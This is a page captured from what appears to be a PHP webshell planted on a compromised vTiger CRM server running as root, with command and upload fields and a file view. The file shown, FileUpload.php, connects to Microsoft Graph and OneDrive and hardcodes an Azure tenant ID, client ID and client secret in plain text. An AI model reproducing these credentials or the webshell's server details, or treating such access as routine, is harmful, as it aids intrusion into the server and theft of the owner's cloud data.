403Webshell
Server IP : 138.197.176.125  /  Your IP : 216.73.217.55
Web Server : Apache/2.4.41 (Ubuntu)
System : Linux SuiteCRM-8 5.4.0-216-generic #236-Ubuntu SMP Fri Apr 11 19:53:21 UTC 2025 x86_64
User : root ( 0)
PHP Version : 8.3.19
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /mnt/volume_fra1_01/vTigerVersion83/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /mnt/volume_fra1_01/vTigerVersion83/FileUpload.php
<?php

require_once "vendor/autoload.php";
include_once 'include/Webservices/Relation.php';
include_once 'vtlib/Vtiger/Module.php';
include_once 'includes/main/WebUI.php';
require_once('include/utils/utils.php');

global $site_URL;

    //.............................Start Access Token.................................

	$clientId = "34b62fa8-5783-43f2-8123-d63324b04c87";
	$tenantId = "d7774c09-00ea-47df-b845-3a475fba1cd2";
	$clientSecret = "leL8Q~1Z-ys.gDgdeiEMOJaYfCkHuYCwjv3Npcbi";

    $url = "https://login.microsoftonline.com/$tenantId/oauth2/v2.0/token";

    $data = [
        "client_id" => $clientId,
        "scope" => "https://graph.microsoft.com/.default",
        "client_secret" => $clientSecret,
        "grant_type" => "client_credentials",
    ];

    $ch = curl_init($url);
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
    curl_setopt($ch, CURLOPT_POST, true);
    curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($data));
    curl_setopt($ch, CURLOPT_HTTPHEADER, [
        "Content-Type: application/x-www-form-urlencoded"
    ]);

    $response = curl_exec($ch);
    curl_close($ch);

    $result = json_decode($response, true);
    $accessToken = $result['access_token'];
    //.............................EnD Access Token.................................

    //.............................Start to Upload Doc in One Drive.................................


	$headers = [
	    "Authorization: Bearer $accessToken",
	    "Content-Type: application/json"
	];
    $ch = curl_init();
	curl_setopt($ch, CURLOPT_URL, "https://graph.microsoft.com/v1.0/drives");
	curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
	curl_setopt($ch, CURLOPT_HTTPHEADER, $headers);

	$response = curl_exec($ch);
	curl_close($ch);

	$driveInfo = json_decode($response, true);
	$driveId = $driveInfo['value'][0]['id'];

	echo $driveId;exit;
	// Fetch Drive ID (if you don’t have it already)
	$url = "https://graph.microsoft.com/v1.0/drives/$driveId/root/children"; 

	$headers = [
	    "Authorization: Bearer $accessToken",
	    "Content-Type: application/json"
	];

	$ch = curl_init();
	curl_setopt($ch, CURLOPT_URL, $url);
	curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
	curl_setopt($ch, CURLOPT_HTTPHEADER, $headers);

	$response = curl_exec($ch);
	curl_close($ch);

	$files = json_decode($response, true);
	/*

    $filePath = $site_URL."TicketWebForm/Images/1019_Payments_20240411_dqkrjctg.pdf";  // Correct absolute path
    // if (!file_exists($filePath)) {
    //     die("File not found: $filePath");
    // }
    $fileName = basename($filePath);
    $fileContent = file_get_contents($filePath);

    $url = "https://graph.microsoft.com/v1.0/drives/$driveId/root:/".$fileName.":/content";

	$headers = [
	    "Authorization: Bearer $accessToken",
	    "Content-Type: application/octet-stream"
	];

	$ch = curl_init();
	curl_setopt($ch, CURLOPT_URL, $url);
	curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
	curl_setopt($ch, CURLOPT_PUT, 1);
	curl_setopt($ch, CURLOPT_HTTPHEADER, $headers);
	curl_setopt($ch, CURLOPT_POSTFIELDS, $fileContent);

	$response = curl_exec($ch);
	curl_close($ch);

	$uploadResult = json_decode($response, true);
	print_r($uploadResult);*/


   

?>

Youez - 2016 - github.com/yon3zu
LinuXploit